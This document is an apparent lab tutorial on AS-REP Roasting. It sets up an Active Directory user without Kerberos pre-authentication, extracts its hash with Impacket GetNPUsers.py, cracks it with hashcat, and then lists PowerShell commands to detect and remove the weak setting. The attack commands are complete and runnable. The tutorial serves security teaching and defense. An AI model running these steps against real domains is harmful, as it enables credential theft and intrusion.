AS-REP Roasting

Configuring

Prerequisite

Username Enumeration

Configuring

1. Login on DC02 with the username Administrator and password Welcome01!.

2. Open the "Active Directory Users and Computers" administration tool on DC02.

3. Click on "View" and enable "Advanced Features"

4. Open "Employees", right click the user Richard and click on "Properties"

5. Open "Account" and scroll to the bottom in "Account options", then select "Do not require kerberos preauthentication".

6. Right click on Richard and select "Reset Password". Uncheck "User must change password at next logon" and fill in the password Sample123. Click on "OK"

Attacking

How it works

When pre-authentication is not required, an attack can directly send a request for authentication. The KDC will return an encrypted TGT and the attacker can extract the hash and brute-force it offline.

Tools

• Impacket GetNPUsers.py

Executing the attack

1. Make sure Impacket is installed and run the GetNPUsers.py tool with the users we enumerated earlier and saved in users.txt. The tool will check if any of the enumerated users doesn't require pre-authentication and will request a ticket which we can crack offline.

GetNPUsers.py amsterdam/ -dc-ip 10.0.0.3 -usersfile users.txt -format hashcat -outputfile asreproasting

2. The tool doesn't say anything about users that don't require pre-authentication. Check if the outputfile exists and cat it:

cat asreproasting

3. The user Richard doesn't require pre-authentication and we have an hash from the TGT. Lets crack it with Hashcat and this wordlist. The Hashcat parameters are:

• Crackingmode: -a 0 for using a wordlist

• Hashmode: -m 18200 for Kerberos 5, etype 23, AS-REP

• List with hashes: asreproasting

• Password list: 2020-200_most_used_passwords.txt

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2020-200_most_used_passwords.txt
hashcat -a 0 -m 18200 asreproasting 2020-200_most_used_passwords.txt

4. We successfully cracked the password. The password for Richard is Sample123.

Defending

Recommendations

• Periodically check for users that don't require pre-authentication and remove the attribute.

Check for users with the attribute:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select-Object samAccountName

Remove the attribute for a single user:

Set-ADAccountControl -DoesNotRequirePreAuth $false -Identity <USER>

Check for users with the attribute and remove it:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADAccountControl -DoesNotRequirePreAuth $false

Detection

References

impacket/examples/GetNPUsers.py at master · fortra/impacketGitHub